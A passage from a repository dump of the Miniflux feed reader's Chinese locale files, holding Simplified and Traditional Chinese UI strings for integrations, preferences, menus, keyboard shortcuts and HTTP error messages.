\"form.integration.googlereader_activate\": \"启用 Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API 端点：\",\n    \"form.integration.googlereader_password\": \"Google Reader 密码\",\n    \"form.integration.googlereader_username\": \"Google Reader 用户名\",\n    \"form.integration.instapaper_activate\": \"保存条目到 Instapaper\",\n    \"form.integration.instapaper_password\": \"Instapaper 密码\",\n    \"form.integration.instapaper_username\": \"Instapaper 用户名\",\n    \"form.integration.karakeep_activate\": \"保存条目到 Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API 密钥\",\n    \"form.integration.karakeep_url\": \"Karakeep API 端点\",\n    \"form.integration.karakeep_tags\": \"Karakeep 标签\",\n    \"form.integration.linkace_activate\": \"保存条目到 LinkAce\",\n    \"form.integration.linkace_api_key\": \"LinkAce API 密钥\",\n    \"form.integration.linkace_check_disabled\": \"禁用链接检查\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API 端点\",\n    \"form.integration.linkace_is_private\": \"将链接标记为私有\",\n    \"form.integration.linkace_tags\": \"LinkAce 标签\",\n    \"form.integration.linkding_activate\": \"保存条目到 Linkding\",\n    \"form.integration.linkding_api_key\": \"Linkding API 密钥\",\n    \"form.integration.linkding_bookmark\": \"将书签标记为未读\",\n    \"form.integration.linkding_endpoint\": \"Linkding API 端点\",\n    \"form.integration.linkding_tags\": \"Linkding 标签\",\n    \"form.integration.linktaco_activate\": \"保存条目到 LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"在此获取您的个人访问令牌\",\n    \"form.integration.linktaco_org_slug\": \"组织代称\",\n    \"form.integration.linktaco_tags\": \"标签（最多10个，逗号分隔）\",\n    \"form.integration.linktaco_tags_hint\": \"最多10个标签，逗号分隔\",\n    \"form.integration.linktaco_visibility\": \"可见性\",\n    \"form.integration.linktaco_visibility_public\": \"公开\",\n    \"form.integration.linktaco_visibility_private\": \"私人\",\n    \"form.integration.linktaco_visibility_hint\": \"私人可见性需要付费的 LinkTaco 帐户\",\n    \"form.integration.linkwarden_activate\": \"保存条目到 Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API 密钥\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden 基本 URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden 集合 ID\",\n    \"form.integration.matrix_bot_activate\": \"推送新条目到 Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Matrix 房间 ID\",\n    \"form.integration.matrix_bot_password\": \"Matrix 用户密码\",\n    \"form.integration.matrix_bot_url\": \"Matrix 服务器 URL\",\n    \"form.integration.matrix_bot_user\": \"Matrix 用户名\",\n    \"form.integration.notion_activate\": \"保存条目到 Notion\",\n    \"form.integration.notion_page_id\": \"Notion 页面 ID\",\n    \"form.integration.notion_token\": \"Notion 密钥令牌\",\n    \"form.integration.ntfy_activate\": \"推送条目到 Ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API 令牌（可选）\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy 图标 URL（可选）\",\n    \"form.integration.ntfy_internal_links\": \"点击时使用内部链接（可选）\",\n    \"form.integration.ntfy_password\": \"Ntfy 密码（可选）\",\n    \"form.integration.ntfy_topic\": \"Ntfy 主题（如果订阅源中未设置则使用默认值）\",\n    \"form.integration.ntfy_url\": \"Ntfy URL（可选，默认为 ntfy.sh）\",\n    \"form.integration.ntfy_username\": \"Ntfy 用户名（可选）\",\n    \"form.integration.nunux_keeper_activate\": \"保存条目到 Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API 密钥\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API 端点\",\n    \"form.integration.omnivore_activate\": \"保存条目到 Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API 密钥\",\n    \"form.integration.omnivore_url\": \"Omnivore API 端点\",\n    \"form.integration.pinboard_activate\": \"保存条目到 Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"将书签标记为未读\",\n    \"form.integration.pinboard_tags\": \"Pinboard 标签\",\n    \"form.integration.pinboard_token\": \"Pinboard API 令牌\",\n    \"form.integration.pushover_activate\": \"推送条目到 Pushover\",\n    \"form.integration.pushover_device\": \"Pushover 设备（可选）\",\n    \"form.integration.pushover_prefix\": \"Pushover URL 前缀（可选）\",\n    \"form.integration.pushover_token\": \"Pushover 应用 API 令牌\",\n    \"form.integration.pushover_user\": \"Pushover 用户密钥\",\n    \"form.integration.raindrop_activate\": \"保存条目到 Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"集合 ID\",\n    \"form.integration.raindrop_tags\": \"标签（逗号分隔）\",\n    \"form.integration.raindrop_token\": \"(测试)令牌\",\n    \"form.integration.readeck_activate\": \"保存条目到 Readeck\",\n    \"form.integration.readeck_api_key\": \"Readeck API 密钥\",\n    \"form.integration.readeck_endpoint\": \"Readeck API 端点\",\n    \"form.integration.readeck_labels\": \"Readeck 标签\",\n    \"form.integration.readeck_only_url\": \"仅发送 URL（而非完整内容）\",\n    \"form.integration.readeck_push_activate\": \"自动将新条目推送到 Readeck\",\n    \"form.integration.readwise_activate\": \"保存条目到 Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader 访问令牌\",\n    \"form.integration.readwise_api_key_link\": \"获取你的 Readwise 访问令牌\",\n    \"form.integration.rssbridge_activate\": \"添加订阅时检查 RSS-Bridge\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge 认证令牌\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge 服务器 URL\",\n    \"form.integration.shaarli_activate\": \"保存条目到 Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API 密钥\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli URL\",\n    \"form.integration.shiori_activate\": \"保存条目到 Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori API 端点\",\n    \"form.integration.shiori_password\": \"Shiori 密码\",\n    \"form.integration.shiori_username\": \"Shiori 用户名\",\n    \"form.integration.slack_activate\": \"推送条目到 Slack\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook 链接\",\n    \"form.integration.telegram_bot_activate\": \"推送新条目到 Telegram 聊天\",\n    \"form.integration.telegram_bot_disable_buttons\": \"禁用按钮\",\n    \"form.integration.telegram_bot_disable_notification\": \"禁用通知\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"禁用网页预览\",\n    \"form.integration.telegram_bot_token\": \"机器人令牌\",\n    \"form.integration.telegram_chat_id\": \"聊天 ID\",\n    \"form.integration.telegram_topic_id\": \"主题 ID\",\n    \"form.integration.wallabag_activate\": \"保存条目到 Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Wallabag 客户端 ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag 客户端密钥\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag 基础 URL\",\n    \"form.integration.wallabag_only_url\": \"仅发送 URL（而非完整内容）\",\n    \"form.integration.wallabag_password\": \"Wallabag 密码\",\n    \"form.integration.wallabag_username\": \"Wallabag 用户名\",\n    \"form.integration.wallabag_tags\": \"Wallabag 标签\",\n    \"form.integration.webhook_activate\": \"启用 Webhooks\",\n    \"form.integration.webhook_secret\": \"Webhooks 密钥\",\n    \"form.integration.webhook_url\": \"默认 Webhook URL\",\n    \"form.prefs.fieldset.application_settings\": \"应用设置\",\n    \"form.prefs.fieldset.authentication_settings\": \"认证设置\",\n    \"form.prefs.fieldset.global_feed_settings\": \"全局订阅源设置\",\n    \"form.prefs.fieldset.reader_settings\": \"阅读器设置\",\n    \"form.prefs.help.external_font_hosts\": \"允许外部字体托管的空格分隔列表。例如：\\\"fonts.gstatic.com fonts.googleapis.com\\\"。\",\n    \"form.prefs.label.always_open_external_links\": \"打开外部链接阅读条目\",\n    \"form.prefs.label.categories_sorting_order\": \"分类排序\",\n    \"form.prefs.label.cjk_reading_speed\": \"中文、韩文和日文的阅读速度（每分钟字符数）\",\n    \"form.prefs.label.custom_css\": \"自定义 CSS\",\n    \"form.prefs.label.custom_js\": \"自定义 JavaScript\",\n    \"form.prefs.label.default_home_page\": \"默认主页\",\n    \"form.prefs.label.default_reading_speed\": \"其他语言的阅读速度（每分钟字数）\",\n    \"form.prefs.label.display_mode\": \"渐进式网络应用程序(PWA)显示模式\",\n    \"form.prefs.label.entries_per_page\": \"每页条目数\",\n    \"form.prefs.label.entry_order\": \"条目排序字段\",\n    \"form.prefs.label.entry_sorting\": \"条目排序\",\n    \"form.prefs.label.entry_swipe\": \"在触摸屏上启用条目滑动\",\n    \"form.prefs.label.external_font_hosts\": \"外部字体主机\",\n    \"form.prefs.label.gesture_nav\": \"在条目间导航的手势\",\n    \"form.prefs.label.keyboard_shortcuts\": \"启用键盘快捷键\",\n    \"form.prefs.label.language\": \"语言\",\n    \"form.prefs.label.mark_read_manually\": \"手动标记条目为已读\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"仅当音频/视频播放完成 90%% 时标记为已读\",\n    \"form.prefs.label.mark_read_on_view\": \"查看时自动将条目标记为已读\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"当浏览时标记条目为已读。对于音频/视频，当播放完成 90%% 时标记为已读\",\n    \"form.prefs.label.media_playback_rate\": \"音频/视频的播放速度\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"在新标签页中打开外部链接（为链接添加 target=\\\"_blank\\\"）\",\n    \"form.prefs.label.show_reading_time\": \"显示条目的预计阅读时间\",\n    \"form.prefs.label.theme\": \"主题\",\n    \"form.prefs.label.timezone\": \"时区\",\n    \"form.prefs.select.alphabetical\": \"字母顺序\",\n    \"form.prefs.select.browser\": \"浏览器\",\n    \"form.prefs.select.created_time\": \"条目创建时间\",\n    \"form.prefs.select.fullscreen\": \"全屏\",\n    \"form.prefs.select.minimal_ui\": \"最小\",\n    \"form.prefs.select.none\": \"没有任何\",\n    \"form.prefs.select.older_first\": \"旧->新\",\n    \"form.prefs.select.publish_time\": \"条目发布时间\",\n    \"form.prefs.select.recent_first\": \"新->旧\",\n    \"form.prefs.select.standalone\": \"独立\",\n    \"form.prefs.select.swipe\": \"滑动\",\n    \"form.prefs.select.tap\": \"双击\",\n    \"form.prefs.select.unread_count\": \"未读计数\",\n    \"form.submit.loading\": \"加载中…\",\n    \"form.submit.saving\": \"保存中…\",\n    \"form.user.label.admin\": \"管理员\",\n    \"form.user.label.confirmation\": \"确认密码\",\n    \"form.user.label.password\": \"密码\",\n    \"form.user.label.username\": \"用户名\",\n    \"menu.about\": \"关于\",\n    \"menu.add_feed\": \"添加订阅源\",\n    \"menu.add_user\": \"添加用户\",\n    \"menu.api_keys\": \"API 密钥\",\n    \"menu.categories\": \"分类\",\n    \"menu.create_api_key\": \"创建新 API 密钥\",\n    \"menu.create_category\": \"创建分类\",\n    \"menu.edit_category\": \"编辑\",\n    \"menu.edit_feed\": \"编辑\",\n    \"menu.export\": \"导出\",\n    \"menu.feed_entries\": \"条目\",\n    \"menu.feeds\": \"订阅源\",\n    \"menu.flush_history\": \"清除历史记录\",\n    \"menu.history\": \"历史记录\",\n    \"menu.home_page\": \"主页\",\n    \"menu.import\": \"导入\",\n    \"menu.integrations\": \"集成\",\n    \"menu.logout\": \"登出\",\n    \"menu.mark_all_as_read\": \"全部标为已读\",\n    \"menu.mark_page_as_read\": \"将此页标为已读\",\n    \"menu.preferences\": \"偏好设置\",\n    \"menu.refresh_all_feeds\": \"后台刷新所有订阅源\",\n    \"menu.refresh_feed\": \"刷新\",\n    \"menu.search\": \"搜索\",\n    \"menu.sessions\": \"会话\",\n    \"menu.settings\": \"设置\",\n    \"menu.shared_entries\": \"已共享的条目\",\n    \"menu.show_all_entries\": \"显示所有条目\",\n    \"menu.show_only_starred_entries\": \"仅显示已收藏条目\",\n    \"menu.show_only_unread_entries\": \"仅显示未读条目\",\n    \"menu.starred\": \"收藏\",\n    \"menu.title\": \"菜单\",\n    \"menu.unread\": \"未读\",\n    \"menu.users\": \"用户\",\n    \"page.about.author\": \"作者：\",\n    \"page.about.build_date\": \"构建日期：\",\n    \"page.about.credits\": \"鸣谢\",\n    \"page.about.db_usage\": \"数据库大小：\",\n    \"page.about.git_commit\": \"Git 提交：\",\n    \"page.about.global_config_options\": \"全局配置选项\",\n    \"page.about.go_version\": \"Go 版本：\",\n    \"page.about.license\": \"许可证：\",\n    \"page.about.postgres_version\": \"Postgres 版本：\",\n    \"page.about.title\": \"关于\",\n    \"page.about.version\": \"版本：\",\n    \"page.add_feed.choose_feed\": \"选择订阅源\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"高级选项\",\n    \"page.add_feed.no_category\": \"没有分类。您必须至少有一个分类。\",\n    \"page.add_feed.submit\": \"查找订阅源\",\n    \"page.add_feed.title\": \"新建订阅源\",\n    \"page.api_keys.never_used\": \"从未使用\",\n    \"page.api_keys.table.actions\": \"操作\",\n    \"page.api_keys.table.created_at\": \"创建日期\",\n    \"page.api_keys.table.description\": \"描述\",\n    \"page.api_keys.table.last_used_at\": \"最后使用\",\n    \"page.api_keys.table.token\": \"令牌\",\n    \"page.api_keys.title\": \"API 密钥\",\n    \"page.categories.entries\": \"条目\",\n    \"page.categories.feed_count\": [\n        \"有 %d 个订阅源\"\n    ],\n    \"page.categories.feeds\": \"订阅源\",\n    \"page.categories.no_feed\": \"无订阅源。\",\n    \"page.categories.title\": \"分类\",\n    \"page.categories_count\": [\n        \"%d 个分类\"\n    ],\n    \"page.category_label\": \"分类: %s\",\n    \"page.edit_category.title\": \"编辑分类：%s\",\n    \"page.edit_feed.etag_header\": \"ETag 标题：\",\n    \"page.edit_feed.last_check\": \"最后检查时间：\",\n    \"page.edit_feed.last_modified_header\": \"最后修改的 Header：\",\n    \"page.edit_feed.last_parsing_error\": \"最后一次解析错误\",\n    \"page.edit_feed.no_header\": \"无 Header\",\n    \"page.edit_feed.title\": \"编辑订阅源: %s\",\n    \"page.edit_user.title\": \"编辑用户: %s\",\n    \"page.entry.attachments\": \"附件\",\n    \"page.feeds.error_count\": [\n        \"%d 错误\"\n    ],\n    \"page.feeds.last_check\": \"最后检查：\",\n    \"page.feeds.next_check\": \"下次检查：\",\n    \"page.feeds.read_counter\": \"已读条目数\",\n    \"page.feeds.title\": \"订阅源\",\n    \"page.footer.elevator\": \"返回顶部\",\n    \"page.history.title\": \"历史记录\",\n    \"page.import.title\": \"导入\",\n    \"page.integration.bookmarklet\": \"书签小应用\",\n    \"page.integration.bookmarklet.help\": \"此链接允许您通过浏览器书签直接订阅网站。\",\n    \"page.integration.bookmarklet.instructions\": \"将此链接拖动到您的书签栏。\",\n    \"page.integration.bookmarklet.name\": \"添加到 Miniflux\",\n    \"page.integration.miniflux_api\": \"Miniflux API\",\n    \"page.integration.miniflux_api_endpoint\": \"API 端点\",\n    \"page.integration.miniflux_api_password\": \"密码\",\n    \"page.integration.miniflux_api_password_value\": \"您账号的密码\",\n    \"page.integration.miniflux_api_username\": \"用户名\",\n    \"page.integrations.title\": \"集成\",\n    \"page.keyboard_shortcuts.close_modal\": \"关闭对话窗口\",\n    \"page.keyboard_shortcuts.download_content\": \"下载原始内容\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"跳转到最后一条\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"转到分类\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"转到订阅源\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"转到订阅源列表\",\n    \"page.keyboard_shortcuts.go_to_history\": \"转到历史记录\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"转到下一条目\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"转到下一页\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"转到上一条目\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"转到上一页\",\n    \"page.keyboard_shortcuts.go_to_search\": \"聚焦到搜索框\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"转到设置\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"转到收藏\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"转到第一条\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"转到未读\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"标记当前页为已读\",\n    \"page.keyboard_shortcuts.open_comments\": \"打开评论链接\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"在当前标签页中打开评论链接\",\n    \"page.keyboard_shortcuts.open_item\": \"打开选定的条目\",\n    \"page.keyboard_shortcuts.open_original\": \"打开原始链接\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"在当前标签页中打开原始链接\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"在后台刷新全部订阅源\",\n    \"page.keyboard_shortcuts.remove_feed\": \"移除此订阅源\",\n    \"page.keyboard_shortcuts.save_article\": \"保存条目\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"滚动到顶部\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"显示快捷键帮助\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"操作\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"条目导航\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"页面导航\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"区域导航\",\n    \"page.keyboard_shortcuts.title\": \"键盘快捷键\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"切换收藏状态\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"切换展开/折叠条目附件\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"切换已读/未读状态，并切换到下一项\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"切换已读/未读状态，并切换到上一项\",\n    \"page.login.google_signin\": \"使用 Google 登录\",\n    \"page.login.oidc_signin\": \"使用 %s 登录\",\n    \"page.login.title\": \"登录\",\n    \"page.login.webauthn_login\": \"使用通行密钥登录\",\n    \"page.login.webauthn_login.error\": \"无法使用通行密钥登录\",\n    \"page.login.webauthn_login.help\": \"如果您正在使用安全密钥，请输入您的用户名。如果您正在使用通行密钥（可发现凭证），则无需输入。\",\n    \"page.new_api_key.title\": \"新的 API 密钥\",\n    \"page.new_category.title\": \"新建分类\",\n    \"page.new_user.title\": \"新建用户\",\n    \"page.offline.message\": \"您已离线\",\n    \"page.offline.refresh_page\": \"尝试刷新页面\",\n    \"page.offline.title\": \"离线模式\",\n    \"page.read_entry_count\": [\n        \"%d 个已读条目\"\n    ],\n    \"page.search.title\": \"搜索结果\",\n    \"page.sessions.table.actions\": \"操作\",\n    \"page.sessions.table.current_session\": \"当前会话\",\n    \"page.sessions.table.date\": \"日期\",\n    \"page.sessions.table.ip\": \"IP 地址\",\n    \"page.sessions.table.user_agent\": \"用户代理\",\n    \"page.sessions.title\": \"会话\",\n    \"page.settings.link_google_account\": \"关联我的 Google 账号\",\n    \"page.settings.link_oidc_account\": \"关联我的 %s 账号\",\n    \"page.settings.title\": \"设置\",\n    \"page.settings.unlink_google_account\": \"解除 Google 账号关联\",\n    \"page.settings.unlink_oidc_account\": \"解除 %s 账号关联\",\n    \"page.settings.webauthn.actions\": \"操作\",\n    \"page.settings.webauthn.added_on\": \"添加于\",\n    \"page.settings.webauthn.delete\": [\n        \"删除 %d 个通行密钥\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"最后使用\",\n    \"page.settings.webauthn.passkey_name\": \"通行密钥名称\",\n    \"page.settings.webauthn.passkeys\": \"通行密钥\",\n    \"page.settings.webauthn.register\": \"注册通行密钥\",\n    \"page.settings.webauthn.register.error\": \"无法注册通行密钥\",\n    \"page.shared_entries.title\": \"已共享的条目\",\n    \"page.shared_entries_count\": [\n        \"%d 个共享条目\"\n    ],\n    \"page.starred.title\": \"收藏\",\n    \"page.starred_entry_count\": [\n        \"%d 个收藏条目\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d 个条目\"\n    ],\n    \"page.unread.title\": \"未读\",\n    \"page.unread_entry_count\": [\n        \"%d 个未读条目\"\n    ],\n    \"page.users.actions\": \"操作\",\n    \"page.users.admin.no\": \"否\",\n    \"page.users.admin.yes\": \"是\",\n    \"page.users.is_admin\": \"管理员\",\n    \"page.users.last_login\": \"最后登录\",\n    \"page.users.never_logged\": \"从未\",\n    \"page.users.title\": \"用户\",\n    \"page.users.username\": \"用户名\",\n    \"page.webauthn_rename.title\": \"重命名通行密钥\",\n    \"pagination.first\": \"第一页\",\n    \"pagination.last\": \"最后一页\",\n    \"pagination.next\": \"下一页\",\n    \"pagination.previous\": \"上一页\",\n    \"search.label\": \"搜索\",\n    \"search.placeholder\": \"搜索…\",\n    \"search.submit\": \"搜索\",\n    \"skip_to_content\": \"跳转至内容\",\n    \"time_elapsed.days\": [\n        \"%d 天前\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d 小时前\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d 分钟前\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d 月前\"\n    ],\n    \"time_elapsed.not_yet\": \"未来\",\n    \"time_elapsed.now\": \"刚刚\",\n    \"time_elapsed.weeks\": [\n        \"%d 周前\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d 年前\"\n    ],\n    \"time_elapsed.yesterday\": \"昨天\",\n    \"tooltip.keyboard_shortcuts\": \"键盘快捷键：%s\",\n    \"tooltip.logged_user\": \"登录用户：%s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/zh_TW.json",
    "content": "{\n    \"action.cancel\": \"取消\",\n    \"action.download\": \"下載\",\n    \"action.edit\": \"編輯\",\n    \"action.home_screen\": \"新增到主螢幕\",\n    \"action.import\": \"匯入\",\n    \"action.login\": \"登入\",\n    \"action.or\": \"或\",\n    \"action.remove\": \"刪除\",\n    \"action.remove_feed\": \"刪除此 Feed\",\n    \"action.save\": \"儲存\",\n    \"action.subscribe\": \"訂閱\",\n    \"action.update\": \"更新\",\n    \"alert.account_linked\": \"您的外部帳號已成功關聯！\",\n    \"alert.account_unlinked\": \"您的外部帳戶已解除關聯！\",\n    \"alert.background_feed_refresh\": \"所有 Feed 正在背景中更新，您可以繼續使用 Miniflux。\",\n    \"alert.feed_error\": \"該 Feed 存在問題\",\n    \"alert.no_starred\": \"目前沒有收藏\",\n    \"alert.no_category\": \"目前沒有分類\",\n    \"alert.no_category_entry\": \"該分類下沒有文章\",\n    \"alert.no_feed\": \"目前沒有 Feed\",\n    \"alert.no_feed_entry\": \"該 Feed 中沒有文章\",\n    \"alert.no_feed_in_category\": \"沒有該類別的 Feed。\",\n    \"alert.no_history\": \"目前沒有歷史\",\n    \"alert.no_search_result\": \"沒有符合搜尋的結果\",\n    \"alert.no_shared_entry\": \"沒有分享文章。\",\n    \"alert.no_tag_entry\": \"沒有與此標籤相符的文章。\",\n    \"alert.no_unread_entry\": \"目前沒有未讀文章\",\n    \"alert.no_user\": \"您是唯一的使用者\",\n    \"alert.prefs_saved\": \"設定已儲存！\",\n    \"alert.too_many_feeds_refresh\": [\n        \"您已觸發過太多次 Feed 更新，請等待 %d 分鐘後再嘗試。\"\n    ],\n    \"confirm.loading\": \"執行中…\",\n    \"confirm.no\": \"否\",\n    \"confirm.question\": \"您確定嗎？\",\n    \"confirm.question.refresh\": \"您想要強制重新整理嗎？\",\n    \"confirm.yes\": \"是\",\n    \"enclosure_media_controls.seek\": \"移動：\",\n    \"enclosure_media_controls.seek.title\": \"移動 %s 秒\",\n    \"enclosure_media_controls.speed\": \"速度：\",\n    \"enclosure_media_controls.speed.faster\": \"加快\",\n    \"enclosure_media_controls.speed.faster.title\": \"加快 %sx\",\n    \"enclosure_media_controls.speed.reset\": \"重設\",\n    \"enclosure_media_controls.speed.reset.title\": \"重設播放速度為 1x\",\n    \"enclosure_media_controls.speed.slower\": \"放慢\",\n    \"enclosure_media_controls.speed.slower.title\": \"放慢 %sx\",\n    \"entry.starred.toast.off\": \"已取消收藏\",\n    \"entry.starred.toast.on\": \"已新增收藏\",\n    \"entry.starred.toggle.off\": \"取消收藏\",\n    \"entry.starred.toggle.on\": \"新增收藏\",\n    \"entry.comments.label\": \"評論\",\n    \"entry.comments.title\": \"檢視評論\",\n    \"entry.estimated_reading_time\": [\n        \"需要 %d 分鐘閱讀\"\n    ],\n    \"entry.external_link.label\": \"外部連結\",\n    \"entry.save.completed\": \"完成\",\n    \"entry.save.label\": \"儲存\",\n    \"entry.save.title\": \"儲存這篇文章\",\n    \"entry.save.toast.completed\": \"已儲存文章\",\n    \"entry.scraper.completed\": \"下載完成\",\n    \"entry.scraper.label\": \"下載原文\",\n    \"entry.scraper.title\": \"下載原文內容\",\n    \"entry.share.label\": \"分享\",\n    \"entry.share.title\": \"分享這篇文章\",\n    \"entry.shared_entry.label\": \"分享\",\n    \"entry.shared_entry.title\": \"開啟公共連結\",\n    \"entry.state.loading\": \"載入中…\",\n    \"entry.state.saving\": \"儲存中…\",\n    \"entry.status.mark_as_read\": \"標記為已讀\",\n    \"entry.status.mark_as_unread\": \"標記為未讀\",\n    \"entry.status.title\": \"更改狀態\",\n    \"entry.status.toast.read\": \"已標記為已讀\",\n    \"entry.status.toast.unread\": \"已標記為未讀\",\n    \"entry.tags.label\": \"標籤：\",\n    \"entry.tags.more_tags_label\": [\n        \"還有 %d 個標籤\"\n    ],\n    \"entry.unshare.label\": \"取消分享\",\n    \"error.api_key_already_exists\": \"此 API 金鑰已存在。\",\n    \"error.bad_credentials\": \"使用者名稱或密碼無效\",\n    \"error.category_already_exists\": \"分類已存在\",\n    \"error.category_not_found\": \"此分類不存在或不屬於您。\",\n    \"error.database_error\": \"資料庫錯誤：%v。\",\n    \"error.different_passwords\": \"兩次輸入的密碼不同\",\n    \"error.duplicate_fever_username\": \"Fever 使用者名稱已被佔用！\",\n    \"error.duplicate_googlereader_username\": \"Google Reader 使用者名稱已被佔用！\",\n    \"error.duplicate_linked_account\": \"該提供者已被其他人綁定！\",\n    \"error.duplicated_feed\": \"該 Feed 已存在。\",\n    \"error.empty_file\": \"該檔案為空\",\n    \"error.entries_per_page_invalid\": \"每頁的文章數無效。\",\n    \"error.feed_already_exists\": \"此 Feed 已存在。\",\n    \"error.feed_category_not_found\": \"此類別不存在或不屬於該使用者。\",\n    \"error.feed_format_not_detected\": \"無法辨識 Feed 格式：%v。\",\n    \"error.feed_invalid_blocklist_rule\": \"阻擋規則無效。\",\n    \"error.feed_invalid_keeplist_rule\": \"保留規則無效。\",\n    \"error.feed_mandatory_fields\": \"必須填寫網址和分類\",\n    \"error.feed_not_found\": \"無法找到此 Feed 或不屬於您。\",\n    \"error.feed_title_not_empty\": \"訂閱的標題不能為空。\",\n    \"error.feed_url_not_empty\": \"訂閱網址不能為空。\",\n    \"error.fields_mandatory\": \"必須填寫全部資訊\",\n    \"error.http_bad_gateway\": \"此網站目前因閘道錯誤無法使用，問題不在 Miniflux，請稍後重試。\",\n    \"error.http_body_read\": \"無法讀取 HTTP 本體內容：%v。\",\n    \"error.http_client_error\": \"HTTP 客戶端錯誤：%v。\",\n    \"error.http_empty_response\": \"HTTP 回應內容為空，可能該網站有防護機制。\",\n    \"error.http_empty_response_body\": \"HTTP 回應本體為空。\",\n    \"error.http_forbidden\": \"拒絕存取此網站，可能該網站有防護機制。\",\n    \"error.http_gateway_timeout\": \"此網站回應逾時，問題不在 Miniflux，請稍後重試。\",\n    \"error.http_internal_server_error\": \"此網站目前因伺服器錯誤無法使用，問題不在 Miniflux，請稍後重試。\",\n    \"error.http_not_authorized\": \"未授權存取此網站，請檢查使用者名稱與密碼。\",\n    \"error.http_resource_not_found\": \"找不到該連結，請確認網址是否正確。\",\n    \"error.http_response_too_large\": \"HTTP 回應過大。您可以在全域設定中提高上限 (需重啟伺服器)。\",\n    \"error.http_service_unavailable\": \"此網站目前因內部問題無法使用，問題不在 Miniflux，請稍後重試。\",\n    \"error.http_too_many_requests\": \"Miniflux 對此網站的請求過多，請稍後重試或調整程式設定。\",\n    \"error.http_unexpected_status_code\": \"此網站回應了意外的 HTTP 狀態碼：%d，請稍後重試。\",\n    \"error.invalid_categories_sorting_order\": \"無效的分類排序\",\n    \"error.invalid_default_home_page\": \"預設主頁無效！\",\n    \"error.invalid_display_mode\": \"無效的顯示模式。\",\n    \"error.invalid_entry_direction\": \"無效的輸入方向。\",\n    \"error.invalid_entry_order\": \"無效的文章排序依據。\",\n    \"error.invalid_feed_proxy_url\": \"代理伺服器網址無效。\",\n    \"error.invalid_feed_url\": \"訂閱網址無效。\",\n    \"error.invalid_gesture_nav\": \"手勢導覽無效。\",\n    \"error.invalid_language\": \"無效的語言。\",\n    \"error.invalid_site_url\": \"Feed 網站的網址無效。\",\n    \"error.invalid_theme\": \"無效的主題。\",\n    \"error.invalid_timezone\": \"無效的時區。\",\n    \"error.network_operation\": \"Miniflux 無法連線到該網站，可能是網路問題：%v。\",\n    \"error.network_timeout\": \"該網站回應過慢，請求逾時：%v。\",\n    \"error.password_min_length\": \"請至少輸入 6 個字元\",\n    \"error.proxy_url_not_empty\": \"代理伺服器網址不能為空。\",\n    \"error.settings_block_rule_fieldname_invalid\": \"無效的封鎖規則：規則 #%d 缺少有效的欄位名稱 (可用選項：%s)\",\n    \"error.settings_block_rule_invalid_regex\": \"無效的封鎖規則：規則 #%d 的模式不是合法的正規表示式\",\n    \"error.settings_block_rule_regex_required\": \"無效的封鎖規則：規則 #%d 沒有提供正規表示式\",\n    \"error.settings_block_rule_separator_required\": \"無效的封鎖規則：規則 #%d 的模式必須用 '=' 分隔\",\n    \"error.settings_invalid_domain_list\": \"網域清單無效。請以空白分隔多個網域。\",\n    